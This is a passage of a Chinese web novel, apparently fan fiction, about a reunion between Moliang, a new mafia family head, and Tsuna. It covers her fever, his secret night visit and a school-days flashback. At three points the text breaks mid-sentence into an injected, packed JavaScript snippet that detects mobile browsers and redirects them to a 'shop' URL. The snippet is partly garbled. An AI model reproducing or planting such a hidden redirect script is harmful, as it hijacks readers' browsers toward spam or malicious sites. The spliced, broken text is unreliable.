说不清是庆幸还是别的什么情绪。 那个男人的发型是黑色刺猬头,他身穿黑西装内搭绿色衬衫,嘴角有一道伤疤,背上还背着一把剑。 看起来有点眼熟。 最重要的是,对方竟然推着一个空置的轮椅。 看到茉莉的那个瞬间,黑发男人凌厉的面容顿时如同冰川一般融化,他笑容爽朗,语气自然道:“茉莉,好久不见!” “你是……山本?!”茉莉惊讶的睁大了眼睛。 山本武,茉莉十年前的在并盛中学的同班同学,一个喜爱棒球的阳光开朗型帅哥。 他们之间的交流说多也不多,说少也不少,虽然在茉莉心中算不上朋友,但也算是个熟人。 就算是这么普普通通的关系,茉莉也知道,山本武的梦想是成为职业棒球选手,登上甲子园。可他现在这副模样,还有所在的地方,和职业棒球手可没什么关系。 茉莉表情复杂:“你怎么会在这里?” 山本武解释:“首领让我把技术部门刚制作完毕的轮椅送过去,竟然在这里碰见你,真巧啊。” 茉莉沉默两秒:“所以,你的首领是——” “没错,是阿纲哦。”山本笑着说。 茉莉的表情顿时变得有些难以言喻。 太诡异了。 十年前并盛中学最受女生欢迎的山本同学,竟然在十年之后,变成了那个被所有人看不起的废柴纲的下属! ——十年前要是有人这么说,绝对会被当做笑话被全校嘲笑的! 山本武竟然会放弃梦想,跟着沢田纲吉一起来意大利当MAFIA……他绝对是被威胁或者强迫了吧! 茉莉瞬间就共情了山本武,她用怜悯而同情的目光注视着他。 “山本,这些年,一定很辛苦吧?” “还行吧。” 山本武不明所以,他推着轮椅走了过来,“正好某人让我送来的轮椅也空着,就让我送你出去吧,茉莉。” 靠近之后,茉莉瞥见山本武的左耳戴着一个黑色蓝牙耳机。 如果是平时,茉莉是不愿意接受别人的好意的,但现在她的脚腕痛的要命,能走这么久已经是强撑,早就没有力气了。 她只能不太自然的道谢:“谢谢你,山本,你的帮助对我意义很大。” 帮助茉莉坐到轮椅上后,山本武立即绅士的收回了手,相处的尺度掌握得刚刚好,茉莉稍微放松了一些。 山本武推着她往外走。好歹他帮了自己,茉莉不好意思不说话,带着一丝好奇询问:“山本在彭格列的工作内容主要是什么,可以说吗?” “嗯,这个嘛,”山本摸了摸下巴,认真道,“主要负责一些跑腿和收尾的工作,总是会遇到很多麻烦的家伙呢。” 跑腿,指代表彭格列去意大利乃至全世界各个地方。 收尾,指去那些地方收拾一些从彭格列逃走的尾巴。 “……” 茉莉觉得自己已经完全理解了山本的现状。 果然,山本在彭格列的岗位完全无足轻重!他这个工作内容,根本就是助理嘛! 茉莉毕业之后,在某家无良公司做过一段时间的助理,工作内容又多又杂又烦。老板让她24小时待命,发着微薄的工资,却想让她把生命、身体和灵魂全都献给公司,茉莉没干多久就跑路了。 难怪山本还戴着蓝牙无线耳机,肯定是因为上级让他随时待命,任何时间都可能打电话过来。 可恶的沢田纲吉! 绝对是废柴时期经历的一切让他黑化了,才会拥有权利之后这么报复同班同学! 身为另一个被报复的前女友,茉莉深深的共情了。 “说起来,茉莉当初为什么会突然离开并盛?”山本武突然出声询问,“完全没有任何预兆,也没有和大家道别,阿……大家都很担心你。” 山本武这句话将茉莉瞬间拉进了回忆中。 她又想起了那个响雷的雨夜,当她回过头去时看到的,站在教室门外的棕发少年震惊而失望的表情…… 一阵剧烈的痛苦从心脏袭来,茉莉难受的攥住胸前的布料,她勉强扯开一个自嘲的笑容。 “没什么特别的原因,父亲工作调动罢了。” 如果只是这样的话,不至于连一个道别都说不了。 但看她十分抗拒,山本武识趣的没有继续追问。 “到了。” 山本武推着茉莉走到路的尽头,推开花园的围栏,在盛放着花朵的花墙外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13991790|148372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,威廉管家的车正停在那里。 “茉莉小姐!” 靠在车旁的威廉管家立马快步走来,上下打量一番茉莉,发现她没什么大碍后松了一口气,但表情还是很愧疚:“抱歉,我来晚了。” “没关系。” 茉莉无所谓的摇了摇头,昨天晚上的事,本来就是她的错,怪不了威廉管家,但她不想再提起这个话题,抬头对山本武说: “谢谢你,山本,送到这里就可以了。” “好的。” 山本武看着茉莉在威廉管家的搀扶下坐到车后座上,和她挥手告别: “有机会下次再来彭格列玩啊,茉莉。” “……” 不会再来了。 她一辈子都不会再想踏入这个让她耻辱的地方。 她冷淡的点点头,将银色长发顺着耳廓缭绕到耳后,然后关上了车窗。 在车窗完全关闭之前,她注意到花园内别墅二楼窗口有人站着,似乎正向她的方向投来灼灼视线。 茉莉侧过脸,和某个人隔着遥远的距离,视线有一瞬即逝的相接。 仿佛被烫到一般,她立即收回了视线。 “走吧。”茉莉催促道。 “好的,茉莉小姐。”威廉管家平稳发动轿车。 车辆带着她缓慢驶离彭格列家族基地的范围,像是要把那些不堪的记忆都抛在脑海一般,茉莉疲惫的闭上了双眼。 她攥着手臂的指尖有些发白。 如果可以的话,请不要让她再见到他了。 …… 车开走了。 沢田纲吉站在别墅二楼窗外没有动。 在此之前,青年一直在楼上看着她。看她倔强、委屈、逞强…… 他期待着她能发现他的视线,回过头来看他。一如多年之前,不管落魄而毫无存在感的他躲在哪个角落,都能被她在茫茫人海中一眼发现。 而当她从车里回过头那一瞬间,少年时期的她与现在的她在此刻重合,那波光潋滟的湖绿色眼眸,深深映照在他的视网膜中。 就是这一眼,抚平了沢田纲吉内心的所有焦躁。 耳机里传来山本武的声音。 “阿纲,她走了,”山本武在楼下冲他挥了挥手,笑着调侃,“这么舍不得,你为什么不自己去送她?” 还专门让技术部找了一把(功能正常的)轮椅,拜托山本武送她出去。 “如果是我去送的话,她就不是现在这种反应了。” 她就像是一只浑身是刺的小刺猬,拿尖刺的外壳抗拒着他的靠近,只有在她睡着彻底放松的时候,他才能触碰到那柔软的肚皮。 沢田纲吉垂下眼眸,眼神晦暗不明。 他的手中握着那只被她抛弃的棕色御守。 抛开纸条上的字不谈,他送她的礼物,被她留在身边,长达十年。 这是不是证明,她也从来没有忘过他? 男人低低的笑了起来。 躲着他也没关系,不愿说再见也没关系,她既然来到了彭格列的地盘,他们很快就会有再见面的机会。 握着御守的右手收紧,沢田纲吉转身离开。 他已经开始期待下次见面了。 8.久别重逢第8天 第八章 回菲尼克斯家族的路上,茉莉发起了高烧。 在来到意大利之前,她连续加了好几天班,又被那个恶心的上司折磨,已经做好了和他同归于尽的准备。 死亡威胁解除之后,茉莉并没有得到良好的休息,而是赶往意大利,马不停蹄的参加了彭格列首领的生日宴会。 再然后……发生的事情她已经不愿再回想,总之,在坐上离开彭格列的车之后,所有强压着的痛苦和疲惫如同潮水般溢出,茉莉双眼紧闭,唇色惨白如纸。 身体发冷,胸口恶心,头晕目眩,她应该就是发烧了。 茉莉硬撑着,没说一句话。 不到两小时的车程之后,昏昏沉沉的茉莉被威廉管家轻声叫醒。 他们已经驾车回到了菲尼克斯家族。 菲尼克斯家族曾经是意大利贵族,就算现在落魄,家族里剩下的人不多,但也有相当大的体量。 这是她做家族首领的第一天,必须要给成员们树立好威信。 首领刚上任就生病晕倒,家族成员们肯定会看不起她,觉得她身体孱弱,好欺负。 所以,茉莉虽然头很痛,很渴,浑身发冷,唇色惨白,而且脚腕还受伤了,但她仍旧强撑着身体,拒绝了威廉管家的搀扶,拒绝了继续乘坐轮椅。 她面无表情下车,从别墅门口走进了别墅大厅,坐在主位上,看威廉管家召集庄园内的手下们,给他们开了个小会。 主要目的是为了介绍她的身份,让她和手下们先认识一下。 这对茉莉来说不算什么。 毕竟,以前在公司当社畜时,生病还要坚持上班的情况比比皆是。 她又不是以前那个生病就会哭泣的小孩子了。 开完会,勉强吃了点午饭,茉莉表示自己需要休息。 威廉管家只知道她崴脚的事,不知道她在发烧,叫来医生为茉莉看脚腕处的伤。 茉莉拒绝了,只接受了医生给的药膏,然后就借口要睡午觉,回自己的卧房休息,还特地屏退了女仆。 毕竟,一直板着脸不说话还可以用脾气不好来解释,要是医生看完病,或是女仆贴身照顾,她生病的消息就会像鸽群出笼一般飞向整个庄园。 所有人都会知道她生病和受伤的事,不由自主的对这个新任首领产生轻视心理。 没有人会心疼她,在黑手党的世界里,弱是原罪。 威廉管家为她准备的卧房很大,茉莉却根本没精力观赏,她一头栽倒在柔软的大床上,晕过去了十几分钟,然后又突然惊醒,去浴室用热毛巾擦干身上的汗,换上丝绸睡裙,给脚腕抹上药膏,然后这才钻进被窝,昏昏沉沉睡去。 不知道睡了多久,外面天都快黑了,茉莉突然听到敲门声,是女仆的声音。 女仆在门外转达威廉管家的话,声音比起最开始恭敬了许多。 “大小姐,彭格列首领为庆贺您继承家族,特地带了礼物前来拜访,威廉管家询问您是否需要见他一面。” “……” 门内迟迟没有传来回答。 怎么可能不见呢?那可是彭格列首领啊!女仆在门外等待回应时,忍不住在心里如此腹诽。 她甚至觉得威廉管家让她询问这句话,简直是多此一举。 菲尼克斯家族虽然是意大利的老牌家族,但是和彭格列比起来,就像是蚂蚁和大象一样的区别。 彭格列首领如果是那种暴君,一只手就能按死菲尼克斯家族。 但这位十代首领继位彭格列家族后,家族行事风格一直很温和,对他们这种听话的联盟家族也很包容,菲尼克斯家族算是在彭格列的保护下,才能够在前首领身体身体不适、去世后撑到现在。 而且,哪怕是前首领在位的时候,彭格列首领也只来过菲尼克斯家族一次,还是前首领病危的时候,作为遗嘱见证人过来的。 女仆觉得,彭格列首领这种身份,都不一定会参加自家大小姐的继承仪式,更何况继承仪式还没开始,大小姐今天才正式到达庄园呢,彭格列首领竟然连拜帖都没递就来了! 而且,现在已经是黄昏了啊!哪有天都快黑了才去别人家拜访的? 女仆觉得这中间一定有什么情况! 难道是前首领的遗嘱出了什么问题? 女仆在心里胡乱猜测时,门内传来自家大小姐恼怒而沙哑的声音: “不见!让他有多远滚多远!” “……” 女仆深深的震撼了。 大小姐昨天不是去参加了彭格列首领的生日宴会吗?按理来说不应该不知道对方的身份才对,怎么会用这种态度对待对方啊? 女仆迟疑道:“大小姐,您确定吗……” “我确定,你把原话转达给那个混蛋就行,还有,我倒时差,别来烦我。” 拼尽全力,对前来传话的女仆说出这些话之后,茉莉再次脱力倒在了床上。 头好晕,好痛,胸口也痛,呼吸都痛。 都怪那个混蛋,完全莫名其妙,追到菲尼克斯家族来是想做什么?专门来看她的笑话吗? 都怪他…… 不然,她怎么会又想流泪了呢…… 明明床很大,很柔软,被子也很厚。 可茉莉还是觉得冷。 而且好孤独。 茉莉在被窝里蜷缩成一团,紧紧抱着双臂,却怎么都抑制不住颤抖。 肯定是发烧把脑子给烧坏了。 要不然,她怎么会怀念他的怀抱? 怀念拥抱时的灼热温度,怀念他有力的心跳声和低低的喘息声,怀念呼吸间让她头晕目眩、飘飘欲仙的属于他的气味。 那个时候,和他肌肤相亲、紧紧拥抱的时候,感觉空洞洞的胸口,被填满了。 让人满足到想要落泪。 茉莉眼角湿润,抱着自己的双手渐渐收紧。 他把她填满后又抽离,似乎将原本属于她的某一部分也一并带走了。 她胸口的空洞因他而扩大,就像漏风的窗户一般,只是呼吸都让她疼痛。 虽然在他面前说出了那些绝情的、仿佛胜利者一般的话语。 但只有她自己才知道,她输得有多么彻底。 眼角噙着温热的眼泪,怀念着从来不属于她的温度和怀抱,茉莉的视野渐渐模糊。 她做了一个梦。 梦到了十年前的自己。 …… 十年前的茉莉拥有一具非常健康的身体。 她很少生病,但也是因为这个原因,一旦生起病来,病情就会来势汹汹,将她整个人都击垮。 就在生病的前一天,茉莉还中气十足的和自己的小跟班吵架,然后怒气冲冲的和他说,等着瞧,明天她要给他好看! 因为太生气,茉莉在被窝里辗转反侧一整晚,想的都是怎么惩罚小跟班,却忘记了关窗户。第二天早上,茉莉发起了高烧。 她感觉自己好冷,好渴,头晕目眩,连话都说不出来。 自从搬到并盛之后,父亲因为工作原因,很少在家,原来的仆人也没带来,茉莉只能自己照顾自己。 当然,茉莉对小跟班还有那些同学说,家里有十几个仆人照顾自己的饮食起居,这不是假话,只是这些仆人都不在并盛罢了。 去不了学校,也没办法找小跟班报仇了,好气。 肯定是因为太生气了,茉莉才会蜷缩在被窝里,眼泪止不住的往下掉。 就在这个时候,她听到窗外传来某个小跟班讨厌的声音。 “茉莉,茉莉,你还好吗?今天为什么没有去学校?” 笨蛋。 就算这么和她说话,她也没有办法回答他啊。 因为她根本就没有力气说话了…… 茉莉迷迷糊糊的昏睡了过去。 等她再次醒过来的时候,看到的就是那个讨厌的笨蛋坐在她的床前,满脸担忧,用湿毛巾擦拭她滚烫脸颊的模样。 “茉莉,你醒了!现在感觉怎么样?” “你怎么会在这里?!” 茉莉吓得眼睛都瞪大了,她瞬间清醒过来,拉着被子盖住肩膀,羞恼的抓住旁边的兔子玩偶就往他身上砸。 她发烧了没什么力气,再加上兔子玩偶本来就软绵绵的,她的攻击完全没有对他造成任何任何伤害。 那个讨厌的家伙接过兔子玩偶,满脸担忧地解释道:“今天去学校没有见到你,老师问起你的情况,我就趁午休过来看看你。” “茉莉,你父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020458|148372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲出差,拜托我妈妈照顾你几天,所以我家有你家的钥匙。” 那个混蛋老头! 茉莉把自己整个头都裹进被子里,完全不敢看他。 可恶,可恶,可恶可恶可恶! 她还穿着睡裙呢,连内衣都没穿,头发也乱糟糟的根本没梳,这样失礼的一面竟然被他给看到了! 她的精致大小姐形象,完全崩塌! 那家伙表面上装出这幅样子,内心绝对在嘲笑她吧! 茉莉躲在被窝里浑身颤抖。 “诶?茉莉你哭了吗?”被窝外传来某个少年惊慌失措的声音,“对不起!我真的只是因为担心你才进来的!没有别的意思!而且你烧得好严重,憋在被子里会喘不过气的!” 一听到这种质疑的话,茉莉顿时恼了,她不知道哪里来的力气,噌的一下掀开被子,坐了起来,红着脸瞪他:“我、我我才没哭呢!” 不知为何,少年看着她,睁大双眼,脸唰的一下红了,从耳根到脸颊再到脖颈,变成了煮熟的虾一般的颜色,舌头都捋不直了。 “茉、茉莉,你……” “脸这么红,你绝对就是来看我笑话的吧!”茉莉觉得自己明白了什么,羞恼质问,“看到我丢脸的样子得意的不行,兴奋得不行了吧!” 一想到这家伙绝对在心里狠狠地笑话自己,茉莉眼眶中的热泪又要控制不住了。 少年表情无奈:“不,你绝对是又想多了。” 他还说了什么,但声音超级小,再加上茉莉头晕无力,只依稀听到了几个词汇,说什么兴奋、可爱、嘲笑之类的。 呜…… 果然还是被嘲笑了…… 茉莉晕晕乎乎的倒在床上,大脑完全断线,依稀察觉到有人叫自己喝水,她就着那人的手,喝了几口水,然后又昏睡了过去。 迷迷糊糊中,察觉到有一只手抚上了她的额头。 很温柔,熟悉的触感,像是以前生病时母亲为她试探温度的手。 茉莉紧皱的眉头随即舒展开来。 当察觉到来人就要离开时,她用尽力气强撑着抱住了那只手,把滚烫的脸颊贴在ta的手心。 “不要……离开我……” 母亲…… 那只手的主人僵硬了很久,最后坐在床边,用另一只手爱怜的抚摸她被汗水浸湿的额头。 动作轻柔,语气也低沉又温柔。 “我不会离开你的,茉莉。” 后来,等茉莉退烧醒来的时候,看到的就是沢田奈奈坐在床边冲她微笑的模样。 “小茉莉醒啦?”沢田奈奈摸了摸茉莉的头,“嗯嗯,退烧了,太好了,妈妈给你煮了粥,现在喝吗?” “要喝,谢谢妈妈!”茉莉迟疑了一下问道,“那个笨、咳,阿纲呢?” “阿纲被妈妈赶回学校了,算算时间,应该一会就回来了吧。” 沢田奈奈爱怜的看着她:“那孩子担心你,中午逃学回来,我才知道你发烧了,真的很抱歉,明明答应了你父亲要好好照顾你……” “不!是我的错!”茉莉连忙反驳,傻乎乎笑道,“是我昨天晚上忘记关窗户了,妈妈超好的!我想喝粥!” “好~” 沢田奈奈去厨房端来煮好的粥,吹凉后一勺一勺喂她,茉莉乖乖的接受投喂。 中途某个废柴少年放学归来,这个任务就被沢田奈奈交到了儿子手上,沢田奈奈则是去帮忙收拾屋子。 不过,少年就没有自家母亲这样的好待遇了,被茉莉从头到脚嫌弃了一遍,两人吵吵闹闹,好说歹说才把一整碗粥喝完。 发烧的时候,味觉也会变得很奇怪,那天的那碗粥,茉莉从头到尾都觉得都是苦的。 但是不知道为什么,明明很苦,但茉莉的心里却觉得很甜。 就像是她的心里有一个小小的洞,沢田奈奈的温柔照顾,让她心里的洞得到了满足。 至于那个笨蛋,勉强算是起到了一点作用吧。 梦中的茉莉重新躺回床上,那个少年帮她盖好被子,在她的命令下,为她念今天上学做的笔记。 记得乱七八糟。 茉莉却满足的闭上双眼。 睡着的时候,嘴角还带着一丝若有若无的微笑。 9.久别重逢第9天 “……” 在听到自家大小姐那冷酷无比的拒绝之后。 女仆在外面呆愣半晌,最后还是不得不硬着头皮下楼。 威廉管家正在大厅接待不请自来的彭格列首领。 身穿高定西装的棕发青年正坐着椅子上等待,看到有人从大厅的旋转楼梯上下来时,暖棕色的眼眸不由自主的亮了许多。 不过,看到下来的只有女仆一个人,那双眼眸又恢复了一开始的晦暗不明。 女仆完全不敢看那个男人,走到威廉管家面前,低头解释:“先生,大小姐正在倒时差,不方便见客。” “……” 看来今天是见不到茉莉了。 虽然早有预料,但沢田纲吉还是很失望。 今天早上,放任她从彭格列离开后,虽然表现得毫不在意,但他其实只能将自己投身于工作中,才能让心脏麻木,不再想她。 下午五点,当助理来报告,为菲尼克斯家族首领准备的礼物已经备好后,他才陡然清醒。 被压抑的渴望如同火山爆发,他发现比自己想象中还更想见到她。 如果他只是徒劳等待,就凭茉莉那个性格,两人可能会再也见不到面。 借着拜访新首领的借口,沢田纲吉来到了菲尼克斯家族。 来的路上他想了很多,越是思考,沸腾的心情就越是冷却。 她肯定是不愿意再见到他的。 毕竟,早上的时候,她一怒之下,竟然把他十年前送给她的礼物还给了他。 但是,他更在意的其实是,茉莉竟然会把那个御守戴在身边十年之久……这是不是证明,她心里其实还是有他呢? 忐忑不安的心脏,在女仆转达的拒绝声后,归于一片死寂。 沢田纲吉面上不显,微笑着站了起来。 “今天是我唐突了,既然如此,那就等茉莉下次愿意见我了,我再来拜访。” 女仆仍旧低着头,听到这句话,浑身一震,睁大双眼,不敢置信。 什么!她听到了什么! 彭格列首领竟然直接叫大小姐为茉莉?! 按理来说,彭格列首领是注重敬语的霓虹人,应该会叫大小姐为菲尼克斯小姐或者茉莉小姐啊!「茉莉」这种称呼,起码是朋友或者熟人才能够叫的吧? 好吧,退一万步讲,就算大小姐昨天晚上在彭格列首领的生日宴会上与他成为了朋友,他说话的语气也不对劲! 有点太亲昵了吧! 他甚至能明确的看出大小姐不是在倒时差,而是确实不想见他! 女仆以自己吃瓜多年的经验来看,这两人绝对不对劲。 沢田纲吉完全不知道旁边的女仆在脑补些什么,他从怀里掏出一个精致的礼盒,递给威廉管家。 “这是我准备的礼物,原本打算亲手送给茉莉,但事已至此,威廉先生,只能请您帮我转交了。” 女仆在角落偷偷观察两人,她还是第一次见到总是游刃有余的威廉管家露出这种僵硬中又带着些愧疚的表情。 “很抱歉,沢田大人,大小姐她舟车劳顿,精神确实有些不济,吃完午饭之后就一直在房间内休息……” 威廉管家想要表达的意思是,大小姐并不是故意怠慢他,而是现在确实不是一个见面的好时机。 但沢田纲吉却有些诧异,眉头微皱:“她从中午到现在就一直在休息?” 这不像是茉莉的风格。 她是个极其爱面子和要强的人,在他预想中,接手家族第一天,她肯定会马不停蹄的熟悉家族事务,认真到废寝忘食才对。 熬最晚的夜,付出最多的精力,只是为了在别人面前呈现出一种,不费吹灰之力就能达到别人难以完成的目标的效果。 倔强得可爱。 所以,直觉告诉他,现在的茉莉肯定出了什么问题。 沢田纲吉担心是菲尼克斯家族对她做了什么,面上不显,和威廉管家道别后,驱车离开了菲尼克斯的势力范围。 然后,他随便找了个地方停车,直接进入超死气模式。 超死气模式是沢田纲吉区别于日常状态的一种战斗形态,在该模式下,他的额间和双拳都能爆发出死气之炎,战斗力大幅度提升。 而死气之炎则是每个人身体中都拥有的超能力——拥有足够强大觉悟的人,能够激发体内潜能,点燃火炎,增强战斗能力。 沢田纲吉的火焰属性为大空。 橙色的大空之炎在沢田纲吉额间和双拳点燃,戴着彭格列手套的双手喷出火炎,借助其产生的反冲力,青年腾空而起,化作一道流星,向着菲尼克斯家族的方向飞去。 菲尼克斯家族前首领去世之后,许多家族成员投靠了其他家族,所以,现在菲尼克斯庄园内外的守备力量都很松懈。 一道明亮的流星划破天空,落在房顶上,竟然没被任何人发现。 之前,威廉管家送他离开家族时,沢田纲吉故意提起茉莉,果然,威廉管家下意识往二楼的某个房间看了一眼——沢田纲吉推断,那里应该就是茉莉的卧室。 趁着夜色,沢田纲吉轻轻的落到了别墅二楼房间外的阳台上。 他难得的有点紧张。 自从过了正式接手彭格列首领的过渡期之后,沢田纲吉已经好久没有这么紧张过了。 就好像自己现在是在做什么坏事一样。 但是不是的,他只是担心茉莉,想要确认她的安危,如果她没事,那他看一眼就走,真的。 茉莉的卧室没开灯,透过窗户,能看到里面漆黑一片。 沢田纲吉的隐形眼镜有红外夜视功能,他能看到卧室内公主大床上躺着的那个人,体温已经接近四十度。 茉莉她,竟然发烧了! 沢田纲吉轻轻推开阳台门,门没锁,门开时发出一声微弱的吱呀声。 皎洁月光从窗户洒入,落在床上银发女性的脸颊上。 她双颊酡红,眼睛紧闭,在被窝里蜷缩成一团,哪怕在睡梦里也皱着眉头,睡得不安稳。 沢田纲吉感觉自己的心脏揪成了一团。 她还是这样,又倔又爱面子,只想以最精致、最无所不能的一面面对周围所有人,不想让任何人看到她的脆弱。 他完全能够猜到茉莉的想法。 她一定是担心,生病会让下属们对新上任的她产生轻视之情,所以才隐瞒着所有人,借口倒时差在屋里休息。 恐怕她连药都没吃。 就这样睡到明天,能退烧才有鬼。 青年叹了口气。 他小心翼翼的在屋子里面翻找起来,想看看这个房间有没有医药盒,也许能从里面找到退烧药。 如果实在找不到,他只能去菲尼克斯家族的医务室看看了,只是那样难免会惊动一些人。 不管是被人发现彭格列首领大半夜偷偷在同盟家族翻东西,还是被人发现菲尼克斯家族新任首领柔弱逞强的本质、导致茉莉被人轻视,最终的结果都只有一个。 茉莉绝对会更讨厌他的。 沢田纲吉思考几秒,做出了此刻最正确的一个决定。 他给技术部部长兼好友入江正一发消息,托他用无人机送退烧药和疗伤药膏过来,重点强调要那种涂了隐形材料,不会被监控摄像头和死气之炎发现的军工级无人机。 入江正一不问缘由,直接回了他一个ok的手势。过了两分钟,还给他录了一个无人机起飞的视频。 不过,因为无人机涂了隐形材料的缘故,视频里只能依稀看到模糊的一片。 等待药送来的这段时间,沢田纲吉也没闲着。他把毛巾浸湿后拧干,坐在床边,轻柔的擦拭茉莉被汗水濡湿的额发,为她降温。 这些事情,他做起来已经习以为常。 他早就不是第一次照顾她了。 十年前,茉莉也像这样突然发过一次烧。 …… 那个时候,每天早上,沢田纲吉都会去她家门口等她,然后两人一起上学。 这是茉莉大小姐的要求,她说,他身为她的男朋友,要每天跟着她,陪着她,一起上学,一起放学,一起吃午饭,一起参加社团。 沢田纲吉其实清楚,说什么男朋友,茉莉只是想要一个跟班而已,那样会比较有气势。 但做跟班他也愿意,茉莉比学校里那些自称是他‘朋友’的人好多了。 他们会抢走他的零花钱,撕掉他的课本,嘲笑他的试卷,故意制造意外让他受伤,给他起外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045172|148372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号到全校都知道……因为那些人,沢田纲吉每天都不想去上学。 但这样的处境,在茉莉转学来之后改变了。 茉莉总是把自己说得特别坏,好像她是什么十恶不赦的大坏蛋似的,可是因为她,学校里没有人再敢欺负他,那些不良少年被茉莉狠狠揍了好几顿之后,看到他都害怕得绕道走。 茉莉还会督促他的学习,用她的话来说,身为她这种完美大小姐的男友(跟班),怎么可能成绩这么差?她会强迫他上课记笔记,放学后一起补习。 当然,茉莉也会责怪他,说一些让他手足无措的话,但他总是很快就能反应过来,茉莉总是习惯用刻薄的话掩盖自己的真心,她其实比她想象中还要在意他。 茉莉总是那么骄傲,那么光芒万丈,沢田纲吉觉得自己一辈子也没办法变成她那样耀眼的人,但是只要能够待在她身边,被她身上的温度所包裹,那他也会感觉幸福。 那天早上,沢田纲吉照例去茉莉家门口等她,但是到了约定好的时间,茉莉却迟迟没有出来。 这很不正常。 茉莉对自己的要求很严格,他们约好的时间是每天早上八点三十分,她要求他必须在八点三十分之前提前到达,而她则会在八点三十分整准时推开家门,光芒四射的出现。 就连一分钟都不可能推迟。 不管是敲门,还是在窗外呼喊,都没有任何回应,沢田纲吉还以为是茉莉终于彻底厌恶自己,丢下他一个人先去学校了。 因为昨天他才惹了茉莉生气。 沢田纲吉垂头丧气的去学校,他迟到了,然后才发现,茉莉根本没有来学校。 所以,茉莉没有丢下他一个人! 她肯定是出事了! 趁着中午午休的工夫,沢田纲吉偷偷钻狗洞逃出学校,去找妈妈拿了茉莉家的钥匙,开门进去,这才发现,茉莉竟然发烧了。 沢田纲吉没有照顾过生病的人,平时都是妈妈照顾他,他就学着妈妈照顾他的样子,将湿毛巾拧干,给茉莉擦汗。 没过多久,茉莉醒了。 看到他的一瞬间,茉莉惊慌失措,质问他为什么会在这里,还用完全没有攻击力的软绵绵兔子玩偶砸他。 然后,她又躲进了被子里,把头也盖住,浑身颤抖。 沢田纲吉还以为茉莉哭了。 他惊慌失措的安慰他,可她却要证明自己没有哭,又掀开被子坐了起来。 穿着吊带真丝睡裙的少女,一头凌乱又柔顺的银色发丝披在她的背后、双肩和胸口,她双颊通红,眼角和鼻尖更是发红,翡翠色的眼眸中满是倔强到不肯落下的眼泪。 她就用这样的目光看着他。 多么……多么……可爱啊!! 当然,沢田纲吉一直觉得平时的茉莉也超可爱的,但是现在是和平时完全不同的可爱。 平时精致、高傲、层层包裹的她,现在却凌乱又脆弱,她的狼狈在他眼中都可爱的要命。 见到了她和平时完全不同的、似乎更为真实的另一面,他的心脏跳得好快,像是要冲破胸口。 他的整张脸都红透了。 “脸这么红,你绝对就是来看我笑话的吧!” 少女眼角含泪,用宛如撒娇一般的声音羞恼质问:“看到我丢脸的样子得意的不行,兴奋得不行了吧!” 完蛋了,为什么骂他的样子都这么可爱啊! “虽然说兴奋好像也没错,但那完全是因为茉莉太可爱了,完全没有嘲笑你的意思!” 沢田纲吉手足无措,连忙解释,可说完这句话,他发现了其中的歧义,惊慌失措到连连摆手: “啊!这个兴奋不是那种意思!” 也不知道茉莉到底听到他的解释没有。 她再次晕乎乎的倒了下去。 沢田纲吉担忧的伸出手去触碰她的额头,却被她一把抱住了手。 她灼热的呼吸洒在他的手心,让他的心脏也开始发痒。 他听到她如同呓语一般的恳求声。 “不要……离开我……” …… ………… 很奇怪。 自己明明没有生病。 可少年却觉得自己也要晕倒了。 10.久别重逢第10天 …… 可能是梦到了过去发生的事情的缘故。 茉莉出现了幻觉。 迷迷糊糊中,她好像看到了那个让她无比讨厌的身影。 男人就坐在她的床边,用湿毛巾擦拭她的额头、脸颊和脖颈,握着她滚烫的手,眼神温柔而担忧。 是她还在做梦,还是发烧到出现了幻觉? 总归不可能是现实。 她都已经把他给赶走了,语气那么凶。 没有她的允许,就连管家和女仆都不会擅自进入她的房间,更何况是被她赶走的他。 会不会,因为她那么凶的对待他,所以他也终于开始讨厌她,以后再也不会来见她了? 呜…… 胸口好痛。 心脏好像被撕裂了。 喘不过气。 让他讨厌她,以后再也不见面,这不就是她想要达到的效果吗? 因为,他都已经有未婚妻了,是马上就要结婚的人。 这种时候还和她产生这种暧昧的关系,不就搞得好像她是那种插足别人感情的第三者吗? 她不想要这样,如果这么继续下去,就连她自己都会唾弃自己的。 而且,现在的自己好狼狈。 两人之间的地位调转,他成为了比她权势更大、地位更高的人,而她只是一个刚刚接手家族的小首领,什么都不懂。 和他继续纠缠下去,自己不就变成了那种为了权力不择手段的女人了吗? 别人一定会用恶心的、瞧不起她的眼光看着她的。 不管她以后付出多少努力,在别人眼中,她都是一个依附着彭格列的菟丝花,所有的功劳都与她无关。 茉莉不想要这样。 她有自尊,有野心,有想要达成的目标,但在她的人生计划里,没有爱与被爱。 在重新恢复自己与菲尼克斯的荣光之前,她没有爱与被爱的资格。 所以,所以…… 以后请不要来找她了。 不要再让她的心动摇了。 不要再给她伤害他的机会了。 